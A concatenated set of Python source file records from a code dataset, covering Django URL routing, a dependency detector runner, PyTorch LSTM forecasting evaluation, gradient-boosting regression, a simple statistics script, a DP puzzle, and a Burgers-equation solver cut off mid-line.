url\n\nurlpatterns = patterns(\n 'Instanssi.main2014.views',\n url(r'^$', 'pageloader', {'templatename': 'index'}, name=\"index\"),\n\turl(r'^info/', 'pageloader', {'templatename': 'info'}, name=\"info\"),\n url(r'^english/', 'pageloader', {'templatename': 'english'}, name=\"english\"),\n url(r'^yhteystiedot/', 'pageloader', {'templatename': 'info'}, name=\"yhteystiedot\"), # Show Info page\n url(r'^kompot/', 'pageloader', {'templatename': 'kompot'}, name=\"kompot\"),\n url(r'^kilpailusopimus/', 'pageloader', {'templatename': 'kilpailusopimus'}, name=\"kilpailusopimus\"),\n)\n","sub_path":"Instanssi/main2014/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"591734648","text":"# -*- coding: utf8 -*-\n\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfrom logging import getLogger\nfrom pathlib import Path\nfrom typing import List\n\nfrom . import basedetector\nfrom . import mozyaml\nfrom . import python\nfrom . import retirejs\nfrom . import rust\nfrom . import thirdpartyalert\nfrom . import thirdpartypaths\nfrom ..knowledgegraph import KnowledgeGraph\n\nlogger = getLogger(__name__)\n\n\ndef __subclasses_of(cls):\n sub_classes = cls.__subclasses__()\n sub_sub_classes = []\n for sub_cls in sub_classes:\n sub_sub_classes += __subclasses_of(sub_cls)\n return sub_classes + sub_sub_classes\n\n\n__all__ = [\"run\", \"run_all\", \"all_detectors\"]\n\n# Keep a record of all DependencyDetector subclasses\nall_detectors = dict([(detector.name(), detector) for detector in __subclasses_of(basedetector.DependencyDetector)])\n# all_detector_names = sorted(list(all_detectors.keys()))\n\n\ndef run(detector: str, tree: Path, graph: KnowledgeGraph) -> bool:\n global logger\n\n try:\n current_detector = all_detectors[detector](tree, graph)\n except KeyError:\n logger.critical(f\"Unknown detector `{detector}`\")\n raise Exception(\"まさか!\")\n\n logger.debug(f\"Running `{detector}` .setup()\")\n if not current_detector.setup():\n logger.error(f\"Detector `{detector}` .setup() failed\")\n return False\n\n logger.debug(f\"Running `{detector}` .run()\")\n current_detector.run()\n logger.debug(f\"Running `{detector}` .teardown()\")\n current_detector.teardown()\n logger.debug(f\"Detector `{detector}` finished\")\n\n return True\n\n\ndef run_all(tree: Path, graph: KnowledgeGraph, *, choice: List[str] or None = None) -> bool:\n\n sorted_detectors = list(all_detectors.values())\n sorted_detectors.sort(key=lambda x: x.priority(), reverse=True)\n sorted_detector_names = [d.name() for d in sorted_detectors]\n\n if choice is None or len(choice) == 0:\n choice = sorted_detector_names\n for detector_name in choice:\n if detector_name not in sorted_detector_names:\n logger.error(f\"Ignoring unknown detector {detector_name}\")\n\n ret = True\n for detector in sorted_detectors:\n if detector.name() not in choice:\n logger.warning(f\"Not running detector {detector.name()}\")\n continue\n ret = run(detector.name(), tree, graph)\n if not ret:\n logger.critical(f\"Detector `{detector.name}` failed. Aborting\")\n break\n\n return ret\n","sub_path":"utils/mozdep/detectors/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"103638833","text":"import torch\nimport torch.nn as nn\nimport torch.utils\nimport torch.utils.data\n\nimport os\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport random\nimport datetime\nimport csv\nfrom preprocessing.calculateError import *\nfrom fileprocessor import *\n\n\n\n#torch.manual_seed(0)\n\n\n\n\n#Preprocessng\nfrom sklearn.preprocessing import MinMaxScaler\n\n\nparser = argparse.ArgumentParser(description='The Embedded Topic Model')\n\nparser.add_argument('--data_path', type=str, default='./Data/With_Features/fire.csv', help='Path where the files are located')\nparser.add_argument('--save_path', type=str, default='./Results/', help='path to save results')\nparser.add_argument('--percentage', type=float, default=0.75, metavar='TP', help='training percentage. Rest is splitted in validation and testing sets')\nparser.add_argument('--x-length', type=int, default=15, metavar='XL', help='previous time steps (default: 15)')\nparser.add_argument('--y-length', type=int, default=5, metavar='YL', help='Time steps to predict (default: 5)')\nparser.add_argument('--mini_batch', type=int, default=55, metavar='MB', help='Size of the mini_batch')\nparser.add_argument('--epochs', type=int, default=1000, metavar='XL', help='previous time steps (default: 20)')\nparser.add_argument('--input_dim', type=int, default=1, metavar='ID',help='steps to predict (default: 10)')\nparser.add_argument('--output_dim', type=int, default=1, metavar='OD', help='steps to predict (default: 10)')\nparser.add_argument('--hidden_layer', type=int, default=100, metavar='HL',help='number of hidden layers (default: 20)')\nparser.add_argument('--type_training', type=str, default='AD', metavar='TT',help='Random mini batches (RB), all data (AD), fixed mini batches (FB)')\nparser.add_argument('--learning_rate', type=float, default=0.0001, metavar='LR', help='learning rate')\nparser.add_argument('--type_rnn', type=str, default='lstm', metavar='TT',help='Random mini batches (RB), all data (AD), fixed mini batches (FB)')\nparser.add_argument('--type_actifun', type=str, default='relu', metavar='AF',help='Select the activation function to the very last layer')\n\nparser.add_argument('--bestIter', type=str, default='', metavar='BI',help='Iteration with std greater than quantile and smallest error')\nparser.add_argument('--type_group', type=str, default='law', metavar='TG',help='TypeGroup')\n\n\nclip = 0.01\n\nargs = parser.parse_args()\n\n#Setting parameters\nbestIter = args.bestIter\npercentage = args.percentage\nfile_name = args.data_path\nx_length = args.x_length\ny_length = args.y_length\nx_dim = args.input_dim\ny_dim = args.output_dim\nmini_batch_size = args.mini_batch\nepochs = args.epochs\ntype_training = args.type_training\nlearning_rate = args.learning_rate\nincident_group = args.type_group\n\n\n\n\n\n#Create windows of sequences\ndef create_inout_sequences(input_data, xw, yw):\n\t'''\n\tInput: Sequence or dataFrame of one column\n\tOutput: lists of X and list of Y\n\t'''\n\tin_seq = []\n\tout_seq = []\n\tL = len(input_data)\n\tfor i in range(L-xw-yw):\n\t\ttrain_seq = input_data[i:i+xw]\n\t\ttrain_label = input_data[i+xw:i+xw+yw]\n\t\tin_seq.append(train_seq )\n\t\tout_seq.append(train_label)\n\treturn in_seq, out_seq\n\n\n\ndef splitData(all_data, scaler):\n\n\ttrain_data_size = int(percentage*len(all_data))#431\n\tvalidation_data_size = train_data_size + int(0.5*(1-percentage)*len(all_data))\n\ttrain_data = all_data[:train_data_size]\n\tvalid_data = all_data[train_data_size : validation_data_size]\n\ttest_data = all_data[validation_data_size:]\n\t#print(len(train_data),len(valid_data), len(test_data))\n\n\n\t#Preprocessing\n\t\n\tscaler.fit(train_data.reshape(-1, 1))\n\ttrain_normalized = scaler.transform(train_data.reshape(-1, 1))\n\tvalid_normalized = scaler.transform(valid_data.reshape(-1,1))\n\ttest_normalized = scaler.transform(test_data.reshape(-1, 1))\n\n\n\t#Creating containers or pytorch variables\n\ttrain_data_normalized = torch.FloatTensor(train_normalized).view(-1)\n\tvalid_data_normalized = torch.FloatTensor(valid_normalized).view(-1)\n\ttest_data_normalized = torch.FloatTensor(test_normalized).view(-1)\n\n\n\ttrain_in, train_out = create_inout_sequences(train_data_normalized, x_length, y_length)\n\tval_in, val_out = create_inout_sequences(valid_data_normalized, x_length, y_length)\n\ttest_in, test_out = create_inout_sequences(test_data_normalized, x_length, y_length)\n\n\tsizeTrain = len(train_in) \n\tsizeTest = len(test_in)\n\tif type_training=='AD':\n\t\tmini_batch_size = sizeTrain\n\tnum_batches = int(sizeTrain/mini_batch_size) \n\n\n\tallIdx = range(sizeTrain)\n\t#Transform lists of x-y in arrays and move length to first dimension: torch.Size([len, batch_size, 1])\n\tseq_inOr_tra = torch.stack(train_in).transpose(0,1)[:,:,None]\n\tseq_outOr_tra = torch.stack(train_out).transpose(0,1)[:,:,None]\n\n\tval_size = len(val_in)\n\t#print(val_size, np.quantile(train_normalized,0.9), np.quantile(valid_normalized,0.9), np.quantile(test_normalized,0.9))\n\tseq_inOr_val = torch.stack(val_in).transpose(0,1)[:,:,None]#torch.Size([15, 1334, 1])\n\tseq_outOr_val = torch.stack(val_out).transpose(0,1)[:,:,None]\n\n\ttest_size = len(test_in)\n\tseq_inOr_tst = torch.stack(test_in).transpose(0,1)[:,:,None]#torch.Size([15, 1334, 1])\n\tseq_outOr_tst = torch.stack(test_out).transpose(0,1)[:,:,None]\n\n\treturn seq_inOr_tst, seq_outOr_tst, np.quantile(valid_normalized,0.5), test_size, np.quantile(test_normalized,0.9)\n\n\n\n\nclass RNN(nn.Module):\n\tdef __init__(self, input_size=1, output_size=1, hidden_layer_size=200, type_actifun='relu'):\n\t\tsuper().__init__()\n\t\tself.hidden_layer_size = hidden_layer_size\n\t\tself.output_size = output_size\n\t\tself.rnn = nn.RNN(input_size, hidden_layer_size)\n\n\t\tif type_actifun=='relu':\n\t\t\tself.linear = nn.Sequential(nn.Linear(hidden_layer_size, output_size), nn.ReLU())\n\t\telse:#Sigmoid\n\t\t\tself.linear = nn.Sequential(nn.Linear(hidden_layer_size, output_size), nn.Sigmoid())\n\n\tdef forward(self, input_seq, batch_size,hidden_cell, pred_length):\n\t\t#only h, not c\n\t\thidden_cell = hidden_cell[0]\n\t\tlstm_out, hidden_cell = self.rnn(input_seq.view(len(input_seq) ,batch_size, -1), hidden_cell)\n\n\t\tpredictions = self.linear(lstm_out.view(-1, self.hidden_layer_size))\n\n\t\tpredictions = predictions.reshape(len(input_seq),batch_size, self.output_size)\n\t\treturn predictions[-pred_length:]\n\n\nclass LSTM(nn.Module):\n\tdef __init__(self, input_size=1, output_size=1, hidden_layer_size=200, type_actifun='relu'):\n\t\tsuper().__init__()\n\t\tself.hidden_layer_size = hidden_layer_size\n\t\tself.output_size = output_size\n\t\tself.lstm = nn.LSTM(input_size, hidden_layer_size)\n\n\t\tself.rnnDec = nn.RNN(input_size, hidden_layer_size)\n\n\n\n\t\tif type_actifun=='relu':\n\t\t\tself.linear = nn.Sequential(nn.Linear(hidden_layer_size, output_size), nn.ReLU())\n\t\telse:#Sigmoid\n\t\t\tself.linear = nn.Sequential(nn.Linear(hidden_layer_size, output_size), nn.Sigmoid())\n\n\tdef forward(self, input_seq, batch_size,hidden_cell, pred_length):\n\t\tlstm_out, hidden_cell = self.lstm(input_seq.view(len(input_seq) ,batch_size, -1), hidden_cell)\n\n\t\tpredictions = self.linear(lstm_out.view(-1, self.hidden_layer_size))\n\n\t\tpredictions = predictions.reshape(len(input_seq),batch_size, self.output_size)\n\t\treturn predictions[-pred_length:], hidden_cell\n\n\tdef sample(self, dec_input,hidden_cellEnc, pred_length, batch_size):\n\t\tpredictions = []\n\t\t\n\t\thidden_cellDec = hidden_cellEnc[0]#h,c\n\t\tfor step in range(pred_length):\n\t\t\tlstm_outDec, hidden_cellDec = self.rnnDec(dec_input.view(1,batch_size, -1), hidden_cellDec)\n\t\t\tdec_input = self.linear(lstm_outDec)\n\t\t\tpredictions.append(dec_input)\n\n\t\treturn torch.cat(predictions[-pred_length:])\n\n\ndef testing(seq_inOr, seq_outOr, size):\n\tmodel.eval()\n\tlist_preds = []\n\tloss_test_batch = 0\n\n\t#TEST BATCH GUIDED\n\n\t####### REVIEW IF IT BATCH AND INDIVIDUAL TESTING GIVE SAME RESULTS, THEY DID\n\ttest_preds = []\n\twith torch.no_grad():\n\n\n\t\thidden = (torch.zeros(1, size, model.hidden_layer_size), torch.zeros(1, size, model.hidden_layer_size))\n\t\tpreds_batch, hiddenEnc = model(seq_inOr,size,hidden, y_length)\n\t\tpreds_batch = model.sample(seq_inOr[-1], hiddenEnc, y_length, size)\n\t\tsingle_loss = loss_function(preds_batch, seq_outOr)\n\n\t\t##### single_loss = single_loss + torch.sum(seq_outOr)\n\n\t\tloss_test_batch += single_loss\n\n\t#print(loss_test_batch)\n\t\n\t# if RMSE boxplot, make inverse scale transform first\n\tlossBoxPlot = ((preds_batch-seq_outOr) **2 ).transpose(1,0).numpy().squeeze() # sequeeze to get rid of 3rd dimension = 1\n\n\n\n\tloss_test = 0\n\t#INDIVIDUAL GUIDED\n\tfor i in range(size):\n\n\t\ttest_preds = []\n\t\twith torch.no_grad():\n\n\n\t\t\thidden = (torch.zeros(1, 1, model.hidden_layer_size), torch.zeros(1, 1, model.hidden_layer_size))\n\n\t\t\tpreds, hiddenEnc =model(seq_inOr[:,i,:],1,hidden, y_length)\n\t\t\tpreds = model.sample(seq_inOr[-1,i,:], hiddenEnc, y_length, 1)\n\n\t\t\t#preds=model(seq_in,1,hiddien, y_length)\n\t\t\tsingle_loss = loss_function(preds, seq_outOr[:,i,:,None])\n\t\t\t\n\t\t\t##### single_loss = single_loss + torch.sum(seq_outOr)\n\n\n\t\t\tloss_test += single_loss\n\n\t\t#Adding as many lists as steps\n\t\tfor step in range(y_length):\n\t\t\ttest_preds.append(preds[step].detach().numpy().reshape((y_dim)))\n\n\t\tlist_preds.append(test_preds)\n\n\tpredsMetric = np.transpose(np.asarray(list_preds),[1,0,2])\n\n\n\t#### CALCULATING MAE, MSE TO SAVE THEM TO FILE\n\tpred_test_save = scaler.inverse_transform(predsMetric.squeeze().reshape(-1,1))#to flat the data\n\tpred_test_save= pred_test_save.reshape(y_length,-1).transpose(1,0)#to recover shape length,size -> size, lenght\n\treal_test_save = scaler.inverse_transform(seq_outOr.squeeze().detach().numpy().reshape(-1,1))\n\treal_test_save = real_test_save.reshape(y_length,-1).transpose(1,0)\n\n\t#### FIRST REVERS SCALE TRANSFORMATION\n\terr = RMSE(real_test_save,pred_test_save)\n\tmaerr = MAE(real_test_save,pred_test_save)\n\n\n\n\t#print(preds[step].detach().numpy().squeeze().shape, np.asarray(list_preds).shape)\n\treturn loss_test/size,predsMetric , loss_test_batch.item(), lossBoxPlot, np.mean(err)\n\n\n\ndef NUMPEAK(real_test_save, pred_test_save, qTest90):\n\n\tflgPeaksReal = np.where(real_test_save>=qTest90)\n\tnumPeaksReal = np.sum(flgPeaksReal,axis=1)\n\n\tflgPeaksPred = np.where(pred_test_save>=qTest90)\n\tnumPeaksPred = np.sum(flgPeaksPred,axis=1)\n\n\tratioPeaks = np.mean(numPeaksPred/numPeaksReal)\n\treturn ratioPeaks\n\n\n\ndef testModel(seq_inOr_tst, seq_outOr_tst, test_size, qTest90, save_path):\n\tloss_tst, pred_test, loss_tst_batch , loss_box_tst, err_avg= testing(seq_inOr_tst, seq_outOr_tst, test_size)\n\tdiffMaxMin = pred_test.max() - pred_test.min()\n\tstdPreds = np.std(pred_test)\n\tloss_tst = loss_tst.item()#to bring from graph network space\n\n\n\tstep_plot = 0\n\tplt.plot(np.concatenate((pred_test[step_plot],seq_outOr_tst[step_plot]),axis =1))\n\tplt.savefig(\"{}/bestV_PredvsReal_Test\".format(save_path), bbox_inches='tight')#self.savedFolder+'/'+ch.name+str(numfig)\n\tplt.clf()\n\n\t#Plot boxplot of losses\n\tdfBox = pd.DataFrame(loss_box_tst)\n\tdfBox.boxplot()\n\tplt.savefig(os.path.join(save_path,'bestV_boxplot'))\n\tplt.clf()\n\n\t#### CALCULATING MAE, MSE TO SAVE THEM TO FILE\n\tpred_test_save = scaler.inverse_transform(pred_test.squeeze().reshape(-1,1))#to flat the data\n\tpred_test_save= pred_test_save.reshape(y_length,-1).transpose(1,0)#to recover shape length,size -> size, lenght\n\treal_test_save = scaler.inverse_transform(seq_outOr_tst.squeeze().detach().numpy().reshape(-1,1))\n\treal_test_save = real_test_save.reshape(y_length,-1).transpose(1,0)\n\n\t#### FIRST REVERS SCALE TRANSFORMATION\n\n\terr = RMSE(real_test_save,pred_test_save)\n\tmaerr = MAE(real_test_save,pred_test_save)\n\tratioPeaks = NUMPEAK(real_test_save,pred_test_save, qTest90)\n\n\n\twritetofile(os.path.join(save_path,\"bestV_pred.txt\"),pred_test_save)\n\twritetofile(os.path.join(save_path,\"bestV__real.txt\"),real_test_save)\n\twriteErrResult(os.path.join(save_path,\"bestV__test_rmse.txt\"),err) # y_length\n\twriteErrResult(os.path.join(save_path,\"bestV__test_mae.txt\"),maerr)\n\n\t#Final log\n\tprint(f'Test loss: {loss_tst:10.4f} {err_avg:10.4f} Diff Max-Min :{diffMaxMin:10.4f} Std: {stdPreds:2.4f}')\n\n\n\t#Global log - among runs\n\ttype_rnn = args.type_rnn + \"_unguided\"\n\treturn loss_tst, err_avg, stdPreds, ratioPeaks\n\n\n\n\n\n#modelType\t epochs\tinputDim\t xLength\t yLength\t learningRate\t unitsHiddenLayer\t typeTraining\t trainingSize\tminiBatchSize\t typeAF\t lossTraint\t lossTest\t\n#RMSE\tDiffMaxMin\tstdDev\tBestPrevIteration\tBestLoss\tBestStd\tratioPeaks\t folder\tComments\tpreproFile\n\ndfResults = pd.read_csv(os.path.join(args.save_path,args.type_rnn,incident_group+\"/LogResultsTests.csv\"))\n\n\nprint(dfResults.columns)\n###### ITERATE OVER ALL THE FOLDERS OF FINAL RESULTS\nfor index, row in dfResults.iterrows():\n\tfolder = row['folder']\n\tbestIter = row['BestPrevIteration']\n\thidden_units = int(row[\"unitsHiddenLayer\"])\n\tpreproFile = str(row[\"preproFile\"])\n\tx_length = int(row[\"xLength\"])\n\ty_length = int(row[\"yLength\"])\n\tmodelType = str(row[\"modelType\"])\n\n\t### SPLIT THE TRAIN, TEST AND VAL WITH THAT FILE\n\t\n\tif preproFile == 'nan' or modelType!='lstm_guided':\n\t#if np.isnan(preproFile):\n\t\tcontinue\n\tdf = pd.read_csv(preproFile, delimiter=',')\n\n\t# stop test of 100\n\tall_data = df['Response Time'].values.astype(float)#[:500]\n\tscaler = MinMaxScaler()#feature_range=(-1, 1)\n\tseq_inOr_tst, seq_outOr_tst, qVal50, test_size, qTest90 = splitData(all_data, scaler)\n\n\tbestStd = 0.0\n\tsave_path = os.path.join(args.save_path,args.type_rnn,incident_group,folder)\n\tif np.isnan(bestIter):\n\t\t#Look for the folder and open Log.csv\n\t\t\n\t\tdfLogExp = pd.read_csv(os.path.join(save_path,\"Log.csv\"))\n\n\t\tbestLossVal = float('Inf')\n\t\tfor idLogExp, rowLogExp in dfLogExp.iterrows():\n\t\t\t#Epoch\tlossTrain\tlossVal\tstdDev or standarDeviation\n\t\t\tif 'stdDev' in dfLogExp.columns:\n\t\t\t\tstdev = rowLogExp[\"stdDev\"]\n\t\t\telse:\n\t\t\t\tstdev = rowLogExp[\"standarDeviation\"]\n\n\t\t\tif float(rowLogExp[\"lossVal\"])< bestLossVal and float(stdev)>= qVal50:\n\t\t\t\tbestLossVal = float(rowLogExp[\"lossVal\"])\n\t\t\t\tbestIter = int(rowLogExp[\"Epoch\"])\n\t\t\t\tbestStd = float(stdev)\n\telse:\n\t\tbestIter = int(bestIter)\n\n\t### CREATE THE MODEL WITH THOS UNITS AND LOAD THE MODEL\n\tif args.type_rnn == 'rnn':\n\t\tmodel = RNN(x_dim, y_dim, hidden_units, args.type_actifun)\n\telse:#lstm\n\t\tmodel = LSTM(x_dim, y_dim, hidden_units, args.type_actifun)\n\n\t#If we did not find a better solution\n\tif np.isnan(bestIter):\n\t\tcontinue\n\tprint(index, folder, preproFile, modelType, bestStd,qVal50, test_size, qTest90)\n\n\tfn = os.path.join(save_path,'vrnn_state_dict_'+str(bestIter)+'.pth')\n\tmodel.load_state_dict(torch.load(fn))\n\n\tloss_function = nn.MSELoss()\n\tBestLossTest, BestRMSE, BestStdTest, ratioPeaksTest = testModel(seq_inOr_tst, seq_outOr_tst, test_size, qTest90, save_path)\n\n\tdfResults[\"BestPrevIteration\"].loc[index] = bestIter\n\tdfResults[\"BestLoss\"].loc[index] = round(BestRMSE,0)\n\tdfResults[\"BestStd\"].loc[index] = round(BestStdTest,4)\n\tdfResults[\"ratioPeaks\"].loc[index] = round(ratioPeaksTest,4)\n\ndfResults.to_csv(os.path.join(args.save_path,args.type_rnn,incident_group+\"/LogResultsTests.csv\"), index=False)\n\n\n\n\n","sub_path":"emergency_model_running/emergency_model/model/Pytorch_prevVersions/pytorchRNN_guided_testBest.py","file_name":"pytorchRNN_guided_testBest.py","file_ext":"py","file_size_in_byte":14813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"218555371","text":"#%%\nfrom utils import *\nfrom utils.metrics import regression_report\nfrom data_processing import Data, evaluate_by_label, fill_label\n\nimport pandas as pd\nfrom sklearn.experimental import enable_hist_gradient_boosting\nfrom sklearn.ensemble import HistGradientBoostingRegressor\n\n\n# data\ndata = Data(use_dummies=False, normalize=False)\nX_train_df, X_test_df, y_train_df, y_test_df = data.train_test_split_by_date(\n [\"actual_adr\"], test_ratio=0.3\n)\ntrain_df = pd.concat([X_train_df, y_train_df], axis=1)\ncreated_df = data.duplicate_data((2015, 6, 1), (2016, 3, 31), ratio=1)\n# created_df = data.create_data((2016, 6, 1), (2017, 3, 31), ratio=1, offset=5)\naugmented_df = pd.concat([train_df, created_df[train_df.columns]], axis=0)\ny_train_df = augmented_df[[\"actual_adr\"]]\nX_train_df = augmented_df.drop([\"actual_adr\"], axis=1)\n\n#%%\nX_train, X_test, y_train, y_test = (\n X_train_df.to_numpy(),\n X_test_df.to_numpy(),\n y_train_df[\"actual_adr\"].to_numpy(),\n y_test_df[\"actual_adr\"].to_numpy(),\n)\nprint(f\"X_train shape {X_train.shape}, y_train shape {y_train.shape}\")\nprint(f\"X_test shape {X_test.shape}, y_test shape {y_test.shape}\")\n\n#%% evaluate performance with training data\neval_reg = HistGradientBoostingRegressor(random_state=1126)\neval_reg.fit(X_train, y_train)\n\nprint(\"-\" * 10, \"regression report\", \"-\" * 10)\nreport = regression_report(y_test, eval_reg.predict(X_test), X_test.shape[1])\nprint(report)\n\nprint(\"-\" * 10, \"evaluation of label\", \"-\" * 10)\nlabel_df = data.get_true_label(columns=[\"adr\", \"revenue\", \"is_canceled\", \"label\"])\npred_label_df = data.predict_label(eval_reg, X_test_df, reg_out=\"adr\")\n\n#%%\nprint(\"[ label evaluation ]\")\nreport_label = evaluate_by_label(pred_label_df, label_df, target=\"label\")\nprint(report_label)\nprint(\"[ revenue_per_day evaluation ]\")\nreport_revenue = evaluate_by_label(pred_label_df, label_df, target=\"revenue\")\nprint(report_revenue)\n\n#%% training with all data\nX_df, y_df = data.processing([\"actual_adr\"])\ntrain_df = pd.concat([X_df, y_df], axis=1)\ncreated_df = data.duplicate_data(ratio=0.8)\naugmented_df = pd.concat([train_df, created_df[train_df.columns]], axis=0)\ny_df = augmented_df[[\"actual_adr\"]]\nX_df = augmented_df.drop([\"actual_adr\"], axis=1)\n\nreg = HistGradientBoostingRegressor(random_state=1126)\nreg.fit(X_df.to_numpy(), y_df[\"actual_adr\"].to_numpy())\n\n#%% fill predict label to csv\ntest_X_df = data.processing_test_data(\"data/test.csv\")\npred_label_df = data.predict_label(reg, test_X_df, reg_out=\"adr\")\nfill_label(pred_label_df, \"data/test_nolabel.csv\")\n\n#%%\n","sub_path":"mae_0.43(0.35)_data_augmentation(duplicate).py","file_name":"mae_0.43(0.35)_data_augmentation(duplicate).py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"228344979","text":"import sys\nfrom typing import List\nfrom math import sqrt\n\n# input\nF1_score = sys.argv[1]\n# RMSE = sys.argv[1]\n# Pearson_correlation = sys.argv[1]\n# output\nanalysis_F1_score_deleted_files = sys.argv[2]\n# analysis_RMSE_deleted_files = sys.argv[2]\n# analysis_Pearson_correlation_deleted_files = sys.argv[2]\n\nwith open(F1_score) as f:\n lines = f.readlines()\n f.close()\n mean = 0\n for line in lines:\n number = float(line)\n mean = mean + number\n\n mean = mean / len(lines)\n\nwith open(F1_score) as f:\n lines = f.readlines()\n f.close()\n sum = 0\n for line in lines:\n x = float(line)\n sum = sum + (x-mean)\n power = (sum) ** 2\n variance = power / len(lines)\n stddev = variance ** 0.5\n\nmy_list = [mean, stddev]\n\nwith open(analysis_F1_score_deleted_files, 'w') as output:\n for item in my_list:\n output.write(\"%s\\n\" % item)\n\n# Por o seguinte código na linha de comando:\n # python analysis.py F1_score.txt analysis_F1_score_deleted_files.txt\n# Por o seguinte código na linha de comando:\n # python analysis.py RMSE.txt analysis_RMSE_deleted_files.txt\n# Por o seguinte código na linha de comando:\n # python analysis.py Pearson_correlation.txt analysis_Pearson_correlation_deleted_files.txt","sub_path":"Scenario_Modified/Analysis_average/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"14218673","text":"\n### one code one day\n### 2020/03/29\n### 2020年百度实习生 算法岗 笔试\n### 题目具体忘记了 这里只存个 代码\n\n### 给 n 个数对, 如(10,4), (20, 5), (50, 8), (40, 7), (30, 6)\n### m回合 ,每回合抽一对,你会获得你抽到的那一对的第一个值,但是其他的数对的第一个值都要减去\n### 这个抽到的数对的第二个值 比如抽到(10,4),你会获得10分,但是剩下的数对会减去4,如果抽完(10,4)\n### 剩下另4个,那么会变为(20-4,5),(50-4,8),(40-4,7),(30-4, 6)\n### 求m回合所抽到的最大分数\n\n\nn = int(input())\nm = int(input())\na = [int(num) for num in input().split(' ')]\nb = [int(num) for num in input().split(' ')]\n\nnew = []\nfor i in range(n):\n new.append([b[i], a[i]])\nnew.sort()\n\ndp = []\nfor i in range(n):\n dp.append([new[i][1], new[i][0]])\n\nfor turn in range(1, m):\n for i in range(n-1, turn-1, -1):\n res = -1\n r = 0\n for j in range(turn-1, i):\n if(r < dp[j][0] - dp[j][1]):\n r = dp[j][0] - dp[j][1]\n res = j\n if(res != -1):\n dp[i][0] = new[i][1] + dp[res][0] - dp[res][1]\n dp[i][1] = new[i][0] + dp[res][1]\n print(dp)\n","sub_path":"动态规划/maxSUM.py","file_name":"maxSUM.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"470710103","text":"import numpy as np\nimport numba as nb\nXF = 1.\n\n# Convective Differentiation function, approximates du/dx\n#@nb.jit\ndef convective_dudt(un, dx, strategy='4c'):\n duconv = np.zeros(un.size)\n #duconv = np.zeros(un.size, dtype=np.float128)\n if strategy=='2c':\n duconv[1:-1] = -1 * un[1:-1] * (un[2:] - un[:-2]) / (2 * dx)\n elif strategy == '4c':\n #duconv[1] = -1 * un[1] * (-10 * un[0] - 77 * un[1] + 150 * un[2] - 100 * un[3] + 50 * un[4] -15 * un[5] + 2 * un[6]) / 60 / dx\n #duconv[-2] = -1 * un[-2] * (10 * un[-1] + 77 * un[-2] - 150 * un[-3] + 100 * un[-4] - 50 * un[-5] + 15 * un[-6] - 2 * un[6]) / 60 / dx\n #duconv[1] = -1 * un[1] * (un[2] - un[0]) / (2 * dx)\n #duconv[-2] = -1 * un[-2] * (un[-1] - un[-3]) / (2 * dx) \n duconv[1] = -1 * un[1] * ( - 25./12. * un[1] + 4 * un[2] - 3 * un[3] + 4./3. * un[4] - un[5]/4.) / dx\n # I made this negative negative \\|/\n duconv[-2] = un[-2] * ( - 25./12. * un[-2] + 4 * un[-3] - 3 * un[-4] + 4./3. * un[-5] - un[-6]/4.) / dx\n duconv[2:-2] = -1 * un[2:-2] * (-1./12. * un[4:] + 8./12. * un[3:-1] - 8/12. * un[1:-3] + 1./12. * un[:-4]) / (dx)\n #duconv[2:-2] = -1 * un[2:-2] * (-1 * un[4:] + 8 * un[3:-1] - 8 * un[1:-3] + un[:-4]) / ( 12 * dx)\n return duconv\n\n# Diffustive Differentiation function, approximates nu d^2 u /dx^2\n#@nb.jit\ndef diffusive_dudt(un, nu, dx, strategy='5c'):\n dundiff = np.zeros(un.size)\n #dundiff = np.zeros(un.size, dtype=np.float128)\n\n # O(h^2)\n if strategy == '3c':\n dundiff[1:-1] = nu * (un[2:] - 2 * un[1:-1] + un[:-2]) / dx**2\n\n # O(h^4)\n elif strategy == '5c':\n # http://web.media.mit.edu/~crtaylor/calculator.html\n #dundiff[1] = nu * (137 * un[0] - 147 * un[1] - 255 * un[2] + 470 * un[3] - 285 * un[4] + 93 * un[5] - 13 * un[6]) / 180 / dx**2\n #dundiff[-2] = nu * (137 * un[-1] - 147 * un[-2] - 255 * un[-3] + 470 * un[-4] - 285 * un[-5] + 93 * un[-6] - 13 * un[-7]) / (180 * dx**2)\n\n # second order\n #dundiff[1] = nu * (un[0] - 2 * un[1] + un[2]) / dx ** 2\n #dundiff[-2] = nu * ( un[-1] - 2 * un[-2] + un[-3]) / dx ** 2\n dundiff[1] = nu * (15./4. * un[1] - 77./6. * un[2] + 107./6. * un[3] - 13 * un[4] + (61./12.) * un[5] - 5./6. * un[6]) / dx ** 2\n dundiff[-2] = nu * (15./4. * un[-2] - 77./6. * un[-3] + 107./6. * un[-4] - 13 * un[-5] + (61./12.) * un[-6] - 5./6. * un[-7]) / dx ** 2\n dundiff[2:-2] = nu * (-1 * un[4:] + 16 * un[3:-1] - 30 * un[2:-2] + 16 * un[1:-3] - un[:-4]) / (12 * dx**2 )\n else: raise(IOError(\"Invalid diffusive strategy\")) ; quit()\n return dundiff\n\n# Velocity Evolution Function. Accepts initial and boundary conditions, returns time evolution history.\n#@nb.jit\ndef geturec(x, nu=.05, evolution_time=1, u0=None, n_save_t=50, ubl=0., ubr=0., diffstrategy='5c', convstrategy='4c', timestrategy='fe', dt=None, returndt=False):\n\n dx = x[1] - x[0]\n\n # Prescribde cfl=0.05 and ftcs=0.02\n if dt is not None: pass\n else: dt = min(.02 * dx / 1., .02 / nu * dx ** 2)\n if returndt: return dt\n\n # Determine the interval, \"divider\", to record time with\n nt = int(evolution_time / dt)\n dt = evolution_time / nt\n print('t is ', nt * dt)\n divider = int(nt / float(n_save_t))\n if divider ==0: raise(IOError(\"not enough time steps to save %i 